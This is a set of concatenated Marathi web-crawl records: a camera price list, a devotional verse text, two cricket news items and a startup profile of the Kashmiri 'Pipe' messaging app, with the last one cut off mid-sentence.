स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/cameras/latest-2-inches-under+cameras-price-list.html", "date_download": "2018-09-25T17:34:08Z", "digest": "sha1:S7RJAKYK4WFZ2VR3OYGMU5UEHOPK6N56", "length": 19903, "nlines": 488, "source_domain": "www.pricedekho.com", "title": "ताज्या 2 इंचेस & अंडर कॅमेरास 2018 India | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nLatest 2 इंचेस & अंडर कॅमेरास Indiaकिंमत\nताज्या 2 इंचेस & अंडर कॅमेरासIndiaमध्ये 2018\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nसादर सर्वोत्तम ऑनलाइन दर ताज्या India मध्ये 2 इंचेस & अंडर कॅमेरास म्हणून 25 Sep 2018 आहे. गेल्या 3 महिन्यांत 21 नवीन लाँच आणि सर्वात अलीकडील एक स्जचं म१० १२म्प ब्लॅक 8,599 किंमत आहे आहेत. अलीकडे करण्यात आलेली होती इतर लोकप्रिय उत्पादने समावेश: . स्वस्त 2 इंचेस & अंडर कॅमेरा गेल्या तीन महिन्यांत सुरू {lowest_model_hyperlink} किंमत सर्वात महाग एक जात {highest_model_price} किंमत आहे. � किंमत यादी उत्पादनांचा विस्तृत समावेश कॅमेरास संपूर्ण यादी माध्यमातून ब्राउझ करा -.\n2 इंचेस & अंडर\nदर्शवत आहे 21 उत्पादने\n2 इंचेस & अंडर\nलोकप्रिय 2 इंचेस & अंडर कॅमेरास\nमहाग2 इंचेस & अंडर कॅमेरास\nस्वस्त2 इंचेस & अंडर कॅमेरास\nशीर्ष 102 इंचेस & अंडर कॅमेरास\nताज्या2 इंचेस & अंडर कॅमेरास\nआगामी2 इंचेस & अंडर कॅमेरास\nस्जचं म१० १२म्प ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\n- ऑप्टिकल झूम 4x\nगोप्रो हिरो ऍक्टिव ग्रे\n- स्क्रीन सिझे 1.75 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 8 Megapixels\n- ऑप्टिकल झूम 1000 X\nबिक्सतुफ बसवंतीनचं१ बॅचब१ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nबिक्सतुफ बसवंतीनचं२ बॅसि२ स्पोर्ट्स & ऍक्टिव कॅमेरा व्हाईट\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nस्जचं स्ज ४०००विफी स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 0x\nस्जचं स्ज 5000 स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 14 MP\n- ऑप्टिकल झूम 1x\nस्जचं स्ज 5000 प्लस स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 1x\nब्रिनो बबकॅ१०० बीके कॅमेरा सेट ग्रीन & ब्लॅक\nडिस्नी प्रिन्सेस डिजिटल कॅमेरा पिंक\n- स्क्रीन सिझे 1.4 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 2 Megapixels\n- ऑप्टिकल झूम Up to 2.9x\nस्ज 4000 स्पोर्ट्स कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- ऑप्टिकल सेन्सर रेसोलुशन 8MP\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा व्हाईट\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा ब्लू\n- स्क्रीन सिझे 1.46 Inch\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\nपॅनासॉनिक लुमिक्स दमच फझ१००० ब्लॅक\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20.1 MP\n- ऑप्टिकल झूम 12x\n- सेन्सर तुपे CCD Sensor\nओझें मिनिमॅक्स ऑटोमॅटिक फिल्म कॅमेरा गोल्ड\n- ऑप्टिकल झूम No\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20 MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा सिल्वर\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा पिंक\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा औरंगे\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा ग्रीन\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nनिकॉन कूलपिक्स स्४३०० पॉईंट & शूट डिजिटल कॅमेरा रेड\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल झूम 6x\nसॅमसंग प्ल१०० डिजिटल कॅमेरा Black\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 12.2 MP\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.7, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z160818022854/view", "date_download": "2018-09-25T17:28:22Z", "digest": "sha1:ZKJ3BTIEHKFTTAOQQNGMXQ2ZEXKRSSMP", "length": 11114, "nlines": 111, "source_domain": "www.transliteral.org", "title": "दासोपंत चरित्र - पदे ५२६ ते ५५०", "raw_content": "\nशंकराला अर्धी प्रदक्षिणा कां घालतात \nमराठी मुख्य सूची|मराठी पुस्तके|श्रीदासोपंतचरित्र|\nपदे ५२६ ते ५५०\nपदे १ ते २५\nपदे २६ ते ५०\nपदे ५१ ते ७५\nपदे ७६ ते १००\nपदे १०१ ते १२५\nपदे १२६ ते १५०\nपदे १५१ ते १७५\nपदे १७६ ते २००\nपदे २०१ ते २२५\nपदे २२६ ते २५०\nपदे २५१ ते २७५\nपदे २७६ ते ३००\nपदे ३०१ ते ३२५\nपदे ३२६ ते ३५०\nपदे ३५१ ते ३७५\nपदे ३७६ ते ४००\nपदे ४०१ ते ४२५\nपदे ४२६ ते ४५०\nपदे ४५१ ते ४७५\nपदे ४७६ ते ५००\nपदे ५०१ ते ५२५\nपदे ५२६ ते ५५०\nपदे ५५१ ते ५७५\nपदे ५७६ ते ६००\nपदे ६०१ ते ६२५\nपदे ६२६ ते ६५०\nपदे ६५१ ते ६७५\nपदे ६७६ ते ७००\nपदे ७०१ ते ७२५\nपदे ७२६ ते ७५०\nपदे ७५१ ते ७७८\nदासोपंत चरित्र - पदे ५२६ ते ५५०\nदासोपंतांच्या वंशजांचीं घराणीं हल्लीं जोगाईच्या आंब्यास व नागपुरप्रांतीं चंद्रपुराकडे नांदत आहेत.\nपदे ५२६ ते ५५०\nआणखी बोलली काय हरिख आपुले चरणी जडो मस्तक आपुले चरणी जडो मस्तक शिरी असतां अभय हस्तक शिरी असतां अभय हस्तक माझे दैवास कोण वर्णी ॥२६॥ ह्र्दयीं पूजितां प्रभुचरणकमळ माझे दैवास कोण वर्णी ॥२६॥ ह्र्दयीं पूजितां प्रभुचरणकमळ याचें असे हे केवळ फळ याचें असे हे केवळ फळ तुष्टूनि ब्रह्मादि होऊन बाळ तुष्टूनि ब्रह्मादि होऊन बाळ खेळती ह्रदयापाळणी ॥२७॥ आतां या बाळांवरुनि खेळती ह्रदयापाळणी ॥२७॥ आतां या बाळांवरुनि जाऊं काय मी वोंवाळूनि जाऊं काय मी वोंवाळूनि यांचे तेज न समाये सदनी यांचे तेज न समाये सदनी प्रत्यक्ष हरि हर हे असे ॥२८॥ मजला जाणूनि अत्यंत दीन प्रत्यक्ष हरि हर हे असे ॥२८॥ मजला जाणूनि अत्यंत दीन मजला जाणूनि अत्यंत सुतहीन मजला जाणूनि अत्यंत सुतहीन आपुली कृपा होता पूर्ण आपुली कृपा होता पूर्ण हें शिशुरत्न मज प्राप्ति ॥२९॥ कांतेची ऐकतां प्रेमवाणी हें शिशुरत्न मज प्राप्ति ॥२९॥ कांतेची ऐकतां प्रेमवाणी मुनीस न समाये हर्ष गगनी मुनीस न समाये हर्ष गगनी मग काय बोले त्रिवर्गासि पाहूनि मग काय बोले त्रिवर्गासि पाहूनि येणे किंनिमित्य हे मायहो ॥३०॥ ते तिघी होऊन अति सुलीन येणे किंनिमित्य हे मायहो ॥३०॥ ते तिघी होऊन अति सुलीन विज्ञापना करिती मुनीकरण या पतिव्रतेचा महिमा नेणोन सत्व पाहिले सर्वस्व ॥३१॥ त्याचा हा प्रादुर्भाव सत्व पाहिले सर्वस्व ॥३१॥ त्याचा हा प्रादुर्भाव पति आमुचे देवाधिदेव या पतिव्रतेचा पाहून भाव बाळ झाले स्वलीळे ॥३२॥ आतां आपण कृपा करुन बाळ झाले स्वलीळे ॥३२॥ आतां आपण कृपा करुन आह्मां द्यावें पतिदान या परी मुनीस बोलून अनुसूयास मग स्तविती ॥३३॥ जय जय अनुसूया ज्ञानखाणी अनुसूयास मग स्तविती ॥३३॥ जय जय अनुसूया ज्ञानखाणी तूं पतिव्रतांमाजी शिरोमणी धन्य धन्य तूं त्रिभुवनी तुज ऐसी न देखो पतिव्रता ॥३४॥ नेणतां तुमचे महत्म तुज ऐसी न देखो पतिव्रता ॥३४॥ नेणतां तुमचे महत्म आह्मां चढले अभिमान परम आह्मां चढले अभिमान परम तुझे पाहतां पादपद्म हरली सर्व अहंवृत्ति ॥३५॥ तूंच कृपा करुन माये पतिदान द्यावें निश्चये यापरी पुनरपि बोलूनि पाय अनुसूयाचे पै धरिती ॥३६॥ धन्य ते हरि हर ब्रह्मा अनुसूयाचे पै धरिती ॥३६॥ धन्य ते हरि हर ब्रह्मा धन्य ए सावित्री उमा रमा धन्य ए सावित्री उमा रमा दूर ठेवूनि प्रभुत्वमहिमा भक्तमहिमा पै वाढविती ॥३७॥ असो ते देवांगनाचे वचन ऐकतांचि ऋषि तोषून घेऊन येई कमंडलोदक ॥३८॥ तेव्हा पतिव्रता आणून जीवन सप्रेम वंदी पतिचरण मुनि प्रोक्षिले बाळांवरी जाण तेणे प्रगटले पूर्वरुप ॥३९॥ चतुर्मुख कमलासन तेणे प्रगटले पूर्वरुप ॥३९॥ चतुर्मुख कमलासन चौभुज कमलारमण प्रकट ते झाले ते काळी ॥४०॥ प्रत्यक्ष पाहतां विधि हरि हर ऋषीस नावरे गर्हिवर सर्वांगा दाटला अष्टभाव ॥४१॥ अष्टभाव दाटता ऋषीप्रती देहाहंकार समूळ ग्रासिती पुढे करावी स्तवन स्तुति देही भान नसेचि ॥४२॥ काय आनंदाचा पूर आला देही भान नसेचि ॥४२॥ काय आनंदाचा पूर आला ब्रह्मानंदाचा वर्षाव झाला ऐसे गमतसे मुनीकारण ॥४३॥ जेथें प्रकटले विधि, हरि, हर तेथील तेज न माये अंबर तेथील तेज न माये अंबर काय उदय पावले कोटी दिनकर काय उदय पावले कोटी दिनकर एक काळी ऐसे गमे ॥४४॥ मुनीची पाहतां निर्विकल्पवृत्ति ब्रह्मादि होऊन आनंद चित्ती ब्रह्मादि होऊन आनंद चित्ती \" धन्य धन्य \" ह्मणूनि उठविती \" धन्य धन्य \" ह्मणूनि उठविती अत्रिऋषीसि स्वानंद ॥४५॥ सावध होतांच मुनि अत्रिऋषीसि स्वानंद ॥४५॥ सावध होतांच मुनि दृढ लागतसे हरिहरचरणी \" मज कृपा करा \" ह्मणूनि वारंवार नमीतसे ॥४६॥ चरणी ठेवून मस्तक वारंवार नमीतसे ॥४६॥ चरणी ठेवून मस्तक संपुटिका करुन ह्स्तक स्तोत्र करीतसे होऊन हरिख हरिहारांसि सप्रेम ॥४७॥ \" जय जय ब्रह्मा, ब्रह्मांडकारका हरिहारांसि सप्रेम ॥४७॥ \" जय जय ब्रह्मा, ब्रह्मांडकारका कृष्णीकुळभूषणा, विश्वपालका दाक्षायणांपते नमोस्तु ते ॥४८॥ ब्रह्मा, विष्णु, महेश्वर लोकां भेद दिसे नाममात्र लोकां भेद दिसे नाममात्र परी तुह्मी एकचि निर्धार परी तुह्मी एकचि निर्धार अनेक घटी जेवि एकचि रवि ॥४९॥ सुवर्ण एक, अलंकार नाना; अनेक घटी जेवि एकचि रवि ॥४९॥ सुवर्ण एक, अलंकार नाना; मृत्तिका घट भिन्नभिन्ना तेवि तुह्मी सच्चिदानंद परिपूर्ण तुह्मां त्रिवर्गी भेद कैचा तुह्मां त्रिवर्गी भेद कैचा \nनमस्कार कोणी कोणास कसा करावा \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00324.warc.wet.gz", "language": "mr", "language_score": 0.58, "bucket": "all"} {"url": "https://mahasports.co.in/navdeep-saini-and-shardul-thakur-have-been-asked-to-leave-for-south-africa-on-saturday/", "date_download": "2018-09-25T17:02:58Z", "digest": "sha1:DP6EGDJRATUJI3W63CTJJXV5DQZJ5QBT", "length": 6756, "nlines": 61, "source_domain": "mahasports.co.in", "title": "हे दोन वेगवान गोलंदाज दक्षिण आफ्रिकेला जाणार, भारतीय संघाला करणार सरावात मदत -", "raw_content": "\nहे दोन वेगवान गोलंदाज दक्षिण आफ्रिकेला जाणार, भारतीय संघाला करणार सरावात मदत\nहे दोन वेगवान गोलंदाज दक्षिण आफ्रिकेला जाणार, भारतीय संघाला करणार सरावात मदत\n तीन कसोटी सामन्यांच्या मालिकेत २-० अशा पिछाडीवर असणाऱ्या भारतीय संघाला सरावात मदत करण्यासाठी दोन वेगवान गोलंदाजांना दक्षिण आफ्रिकेत बोलवण्यात आले आहे. त्यात दिल्लीकर नवदीप सैनी आणि मुंबईकर शार्दूल ठाकूरचा समावेश आहे.\nहे दोन गोलंदाज भारतीय संघातील फलंदाजांना नेटमध्ये गोलंदाज करणार आहे. शार्दूल ठाकूर यानंतर दक्षिण आफ्रिकेतच थांबणार आहे कारण त्याच्या वनडे संघात समावेश आहे.\nभारतीय संघ २४ जानेवारीपासून जोहान्सबर्ग येथे सुरु होणार आहे. शेवटच्या सामन्यात भारतीय संघात मोठे बदल होण्याची शक्यता आहे.\nनवदीप सैनी आणि शार्दूल ठाकूर हे गोलंदाज शनिवारी भारतीय संघासोबत सराव करताना दिसतील. त्यामुळे त्यांना संघासोबत दोन दिवस सराव करायला मिळेल.\nभारतीय संघाला येथे सरावासाठी येथे चांगले गोलंदाज मिळाले नाहीत. त्यामुळे त्यांनी त्याची तक्रार केल्यामुळे भारताकडून गोलंदाज बोलवण्यात आले आहेत.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00325.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/sri-lanka-steps-up-security-after-crowd-trouble/", "date_download": "2018-09-25T17:44:28Z", "digest": "sha1:JMDZCFD3ZP22ABEY3UTSEVR2ZJWVLC4P", "length": 6538, "nlines": 60, "source_domain": "mahasports.co.in", "title": "चौथ्या वनडे'साठी मोठी सुरक्षा व्यवस्था, १००० अधिक पोलीस तैनात -", "raw_content": "\nचौथ्या वनडे’साठी मोठी सुरक्षा व्यवस्था, १००० अधिक पोलीस तैनात\nचौथ्या वनडे’साठी मोठी सुरक्षा व्यवस्था, १००० अधिक पोलीस तैनात\nभारत विरुद्ध श्रीलंका यांच्यादरम्यान होणाऱ्या चौथ्या वनडे सामन्यासाठी मोठ्या प्रमाणावर सुरक्षा व्यवस्था पुरवली जाणार आहे. गेल्या सामन्यात झालेल्या प्रकारची पुनरावृत्ती होऊ नये म्हणून श्रीलंकन पोलीस सर्वोतोपरी प्रयत्न करणार आहेत.\nया सामन्यात १००० जास्त पोलीस कर्मचारी तैनात करण्यात येणार असून सीसीटीव्ही कॅमेऱ्यावरून प्रेक्षकांवर लक्ष ठेवले जाणार आहे. कोलंबोमधील प्रेमदासा मैदानाची क्षमता ३५,००० प्रेक्षकांची असून कोणतीही संशयास्पद कृती करणाऱ्या प्रेक्षकाला लगेच अटक करणार असल्याचं कोलंबो पोलिसांनी सांगितलं आहे.\nश्रीलंका संघाची धुरा वेगवान गोलंदाज लसिथ मलिंगा संभाळणार असून भारत उद्या आणि रविवारी असे राहिलेलं दोन वनडे सामने तर एकमेव टी२० सामना ६ सप्टेंबर रोजी खेळणार आहे.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00325.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/e2d30b3340/the-young-men-of-the-kashmir-valley-udyamasilateci-story-quot-the-launch-paipaepa-navyastartaapaca-", "date_download": "2018-09-25T17:55:48Z", "digest": "sha1:DC6FITV5M2OCGQDIPZWHSFQQYACMZYWL", "length": 17794, "nlines": 82, "source_domain": "marathi.yourstory.com", "title": "काश्मीर खो-यातील तरूणांच्या उद्यमशीलतेची कहाणी: ‘पाईप’ऍपच्या नव्या’स्टार्टअप’चा शुभारंभ !", "raw_content": "\nकाश्मीर खो-यातील तरूणांच्या उद्यमशीलतेची कहाणी: ‘पाईप’ऍपच्या नव्या’स्टार्टअप’चा शुभारंभ \n“ काश्मीर खो-यात सततच्या संघर्षामुळे आणि अस्थिरतेमुळे अर्थव्यवस्था आणि विशेषकरून श्रम बाजारावर खूपच नाट्यमय प्रभाव पडला आहे. त्यामुळे तरुणांमध्ये काही विशेष प्रकारच्या रोजगाराबाबत एक सामाजिक-सांस्कृतिक धारणा तयार झाली आहे. उदाहरणच सांगायचे झाले तर, सरकारी कर्मचा-यांना संप किंवा संचारबंदी दरम्यान देखील भरपाई मिळते, ज्यामुळे सरकारी नोकरीला स्थिर मानले जाते. जर आपण नाण्याची दुसरी बाजू पहिली तर, उद्योजकता आणि खासगी क्षेत्रातील नोक-या जोखमीच्या तर असतातच, शिवाय त्या अस्थिर देखील असतात. सतत सुरु असणारे संघर्ष आणि अस्थिरता आमची सध्याची शिक्षण प्रणाली आणि रोजगार बाजार, यांच्यातील असमानता कुठल्याही प्रकारच्या उभरत्या उद्योगाच्या (‘स्टार्टअप)’च्या वृद्धी आणि विकासात सर्वात मोठा अडथळा आहे. इतकेच काय तर, तंत्रज्ञानक्षेत्रातील ‘स्टार्टअप’ काश्मीरच्या वेगळ्या ‘स्टार्टअप’ तंत्राला एक चांगली संधी देऊ करत आहेत. अपयशी ठरल्यावर तंत्रज्ञानक्षेत्रातील ‘स्टार्टअप’ एखाद्या औद्योगिक किंवा उत्पादीत ‘स्टार्टअप’च्या बदल्यात कमी नुकसान होणा-या गोष्टीच्या समोर-समोर येतात. अशातच आम्ही येणा-या दिवसात खो-यात अधिकाअधिक तंत्रज्ञानविषयक ‘स्टार्टअप’ समोर येण्याची अपेक्षा करतो आहोत, जे काश्मीर मध्ये ‘स्टार्टअप’ संस्कृतीच्या निर्मितीत खूपच सकारात्मक पाऊल ठरेल.” हे म्हणणे आहे काश्मीरखो-यात एक तांत्रिक स्टार्टअप चालवणा-या दोन तरुणांचे. ज्यांचे नाव आबिद रशीद लोन आणि जुबेर लोन आहे.\nकाश्मीरचे हे दोन तरुण ‘पाइप’ नावाचे ऍप्लिकेशन घेऊन प्रकाशझोतात आले आहेत. ज्याच्या मदतीने ग्राहक एकमेकांना सूचना, मेसेज आणि लिंक आपल्या आवडीनुसार पाठवू शकतात. या ऍप बद्दल सांगताना जुबेर सांगतात की, “पाइप’ विभिन्न उपकरणे आणि त्या जागेशी संबंधित लोकांमध्ये एकसमानरित्या माहिती देण्याकडे आपले लक्ष केंद्रित करतो आणि ते देखील योग्य वेळेत. सोबतच आम्ही हे देखील समजतो की, वर्तमानात लोकांना केवळ तीच माहिती आणि संदेश हवा असतो, जो त्यांच्या कामाचा आहे किंवा ज्यात त्यांना रुची असेल. ‘पाइप’ आपल्या उपभोक्त्यांना याबाबतची सूट देतो की, ते सहजरित्या त्या लोकांची निवड करू शकतात, ज्यांचे संदेश आणि माहिती त्यांना पाहिजे आहेत.”\nपुढे माहिती देताना ते सांगतात की, “ या आधी तुम्हाला मेसेज, ईमेल आणि समूह संपर्क माध्यमाच्या एका मोठ्या जाळ्यातून आपले काम आणि आपल्या आवडीचे संदेश इत्यादी निवडण्यासाठी खूपच उर्जा आणि वेळ वाया घालवावा लागत होता. आमच्या ‘पाइप’ ऍपच्या मदतीने उपभोक्ता सध्याच्या वेळेत केवळ आपल्या स्मार्टफोनच्या माध्यमातून लगेचच महत्वाची आणि उपयोगी सामग्री प्राप्त करू शकतात.” याप्रकारे उपभोक्त्याचा अमुल्य वेळ वाचविण्यात हा ऍप खूपच महत्वाचा सिद्ध होत आहे.”\nजुबेर यांनी अर्थशास्त्र विषयात पदवी तर मिळालेली आहे, शिवाय ते एक व्यावसायिक प्रकल्प व्यवस्थापक देखील आहेत. तसेच दुसरीकडे त्यांचे सह-संस्थापक आबिद तांत्रिक माहितीच्या क्षेत्रात पदवीधर आहेत. आबिद सांगतात की, “ आमच्या दोघांची भेट वर्ष २००९ मध्ये झाली आणि त्यानंतर आम्ही कमी खर्च येणा-या काही संकेतस्थळांचा विकास करण्याव्यतिरिक्त काश्मीरखो-यातील स्थानिक व्यवसायाशी संबंधित एका ऑनलाईन व्यवसायाशी संबंधित निर्देशिका तयार केली. त्यानंतर वर्ष २०१० मध्ये आम्ही संकेतस्थळावर आधारीत असा मंच तयार करण्याच्या दिशेने आपले पाउल टाकले, जे उपभोक्त्यांना एसएमएस च्या माध्यमातून विभिन्न आणि तात्काळ माहिती उपलब्ध करून देईल. त्याच दरम्यान वर्ष २०१० मध्ये काश्मीरखो-यात पसरलेल्या अस्थिरतेमुळे एसएमएस सेवेवर बंदी घालण्यात आली, जी २०१४पर्यंत लागू होती. एकदा प्रतिबंध हटल्यानंतर आम्ही आमच्या पाच वर्षाच्या जुन्या स्वप्नाला पूर्ण करण्यासाठी पुन्हा एकत्र आलो. या पाच वर्षात खूप काही बदलले होते. त्यामुळे आम्ही एका संकेतस्थळाच्या जागी एक ऍप्लिकेशन तयार करण्याचा विचार केला आणि या प्रकारे ‘पाइप’ची निर्मिती झाली.\nतंत्रज्ञानाचे वेड असलेल्या या तरुणांनी हा ऍप तयार करण्यासाठी कुणाकडूनही आर्थिक मदत घेतली नाही आणि त्यासाठी 